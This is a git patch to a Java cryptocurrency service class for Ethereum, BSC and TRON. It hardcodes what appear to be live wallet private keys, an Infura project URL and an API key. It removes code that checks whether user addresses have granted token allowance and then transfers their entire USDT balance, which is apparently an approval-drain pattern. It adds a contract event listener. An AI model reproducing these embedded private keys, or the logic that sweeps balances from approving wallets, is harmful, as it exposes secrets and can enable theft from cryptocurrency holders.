From 6c29204c6a4afed0eb476c92bb4f464c88cde3a9 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Fri, 27 May 2022 18:43:38 +0800
Subject: [PATCH] fix
---
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | 167 ++++++++++++++++++++++++++++++++++++-------------------
1 files changed, 110 insertions(+), 57 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index b81b2b5..df323cf 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -4,86 +4,139 @@
import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.data.repository.query.ParameterOutOfBoundsException;
+import org.web3j.crypto.Credentials;
+import org.web3j.protocol.Web3j;
+import org.web3j.protocol.core.DefaultBlockParameter;
+import org.web3j.protocol.core.DefaultBlockParameterName;
+import org.web3j.protocol.core.DefaultBlockParameterNumber;
+import org.web3j.protocol.core.methods.request.EthFilter;
+import org.web3j.protocol.core.methods.response.TransactionReceipt;
+import org.web3j.protocol.http.HttpService;
+import org.web3j.tx.gas.StaticGasProvider;
import java.math.BigDecimal;
import java.math.BigInteger;
+import java.rmi.activation.UnknownObjectException;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
/**
- * @author wzy
+ * @author
* @date 2022-03-23
**/
+@Slf4j
public class ChainService {
- private final String ETH_PREFIX = "0x";
- private final EthService ETH = new EthService();
- private final TrxService TRX = TrxService.INSTANCE;
+ private final static String TRX_ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
+ private final static String TRX_PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
+ private final static String TRX_CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+ private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
- private ChainService() {}
+ private final static String ETH_URL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
+ private final static String ETH_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
+ private final static String ETH_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
+ private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+
+ private final static String BSC_URL = "https://bsc-dataseed1.ninicoin.io";
+// private final static String BSC_ADDRESS = "0x971c09aA9735EB98459B17EC8b48932D24CbB931";
+// private final static String BSC_PRIVATE = "0x5f38d0e63157f535fc21f89ea13ec3cd245691c20795c1d2cb60233b3ba7bb47";
+// private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955";
+
+ private final static String BSC_ADDRESS = "0x977a9ddfb965a9a3416fa72ca7f91c4949c18f25";
+ private final static String BSC_PRIVATE = "0xefe98e00cd227b6322e892c82fcbd8eadf119c3188b7e574bc624f65405d61bf";
+ private final static String BSC_CONTRACT_ADDRESS = "0x6c6835e60e7dbad7a60112a6371271e8eb79ee68";
+
+ private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS);
+ private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS);
+ private final static ContractChainService TRX = new TrxService(TRX_ADDRESS, TRX_PRIVATE, TRX_CONTRACT_ADDRESS, API_KEY);
+ private final static ContractChainService BSC_TFC = new EthService(ChainEnum.BSC_TFC.getUrl(), ChainEnum.BSC_TFC.getAddress(), ChainEnum.BSC_TFC.getPrivateKey(), ChainEnum.BSC_TFC.getContractAddress());
+
+ private final String ETH_PREFIX = "0x";
+
+ private ChainService() {
+ }
public final static ChainService INSTANCE = new ChainService();
- /**
- * 获取制定账号的USDT余额
- *
- * @param address
- * @return
- */
- public BigDecimal balanceOf(String address) {
- BigDecimal balance = BigDecimal.ZERO;
- if (address.contains(ETH_PREFIX)) {
- balance = ETH.tokenGetBalance(address);
- } else {
- balance = TRX.balanceOfDecimal(address);
+ public static ContractChainService getInstance(String chainType) {
+ switch (chainType) {
+ case "ETH" :
+ return ETH;
+ case "BSC_USDT" :
+ return BSC;
+ case "TRX" :
+ return TRX;
+ case "BSC_TFC":
+ return BSC_TFC;
+ default:
+ break;
}
- return balance;
+
+ throw new FebsException("参数错误");
}
/**
- * 判断地址是否授权给制定账户
- *
- * @param address
- * @return
+ * 监听合约事件
+ * @param startBlock 开始区块
*/
- public boolean isAllowance(String address) {
- BigInteger result;
- if (address.indexOf(ETH_PREFIX) > 0) {
- result = ETH.ethAllowance(address);
+ public static void contractEventListener(BigInteger startBlock, ContractEventService event, String type) {
+ ChainEnum chain = ChainEnum.getValueByName(type);
+ assert chain != null;
+
+ EthUsdtContract contract = contract(chain.getPrivateKey(), chain.getContractAddress(), chain.getUrl());
+ EthFilter filter = getFilter(startBlock, chain.getContractAddress());
+
+ contract.transferEventFlowable(filter).subscribe(e -> {
+ event.compile(e);
+ }, error -> {
+ log.error("--->", error);
+ });
+ }
+
+ private static EthUsdtContract contract(String privateKey, String contractAddress, String url) {
+ Credentials credentials = Credentials.create(privateKey);
+ return EthUsdtContract.load(contractAddress, Web3j.build(new HttpService(url)), credentials, new StaticGasProvider(BigInteger.valueOf(4500000L), BigInteger.valueOf(200000L)));
+ }
+
+ // 18097238 18098663
+ private static EthFilter getFilter(BigInteger startBlock, String contractAddress) {
+ DefaultBlockParameter parameterName = null;
+ if (startBlock != null) {
+ parameterName = new DefaultBlockParameterNumber(startBlock);
} else {
- result = TRX.allowance(address);
+ parameterName = DefaultBlockParameterName.EARLIEST;
}
- return result.intValue() != 0;
- }
-
- /**
- * 获取地址授权数量
- *
- * @param address
- * @return
- */
- public int allowanceCnt(String address) {
- String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
- String total = JSONObject.parseObject(response).getString("total");
- return Integer.parseInt(total);
- }
-
- public String transfer(String address) {
- BigDecimal amount = balanceOf(address);
-
- return transfer(address, amount);
- }
-
- public String transfer(String address, BigDecimal amount) {
- String hash;
- if (address.contains(ETH_PREFIX)) {
- hash = ETH.approveTransfer(address, amount, null);
- } else {
- hash = TRX.transfer(address, amount);
- }
- return hash;
+// return new EthFilter(parameterName, DefaultBlockParameterName.LATEST, contractAddress);
+ return new EthFilter(parameterName, new DefaultBlockParameterNumber(new BigInteger("18098663")), contractAddress);
}
public static void main(String[] args) {
- System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
+ ChainEnum chain = ChainEnum.getValueByName(ChainEnum.BSC_TFC.name());
+ assert chain != null;
+
+ EthUsdtContract contract = contract(chain.getPrivateKey(), chain.getContractAddress(), chain.getUrl());
+ EthFilter filter = getFilter(new BigInteger("18097238"), new BigInteger("18098663"), chain.getContractAddress());
+
+ contract.transferEventFlowable(filter).subscribe(e -> {
+ System.out.println(1);
+ }, error -> {
+ log.error("--->", error);
+ });
}
+
+ private static EthFilter getFilter(BigInteger startBlock, BigInteger endBlock, String contractAddress) {
+ DefaultBlockParameter parameterName = null;
+ if (startBlock != null) {
+ parameterName = new DefaultBlockParameterNumber(startBlock);
+ } else {
+ parameterName = DefaultBlockParameterName.EARLIEST;
+ }
+
+ return new EthFilter(parameterName, new DefaultBlockParameterNumber(endBlock), contractAddress);
+ }
+
}
--
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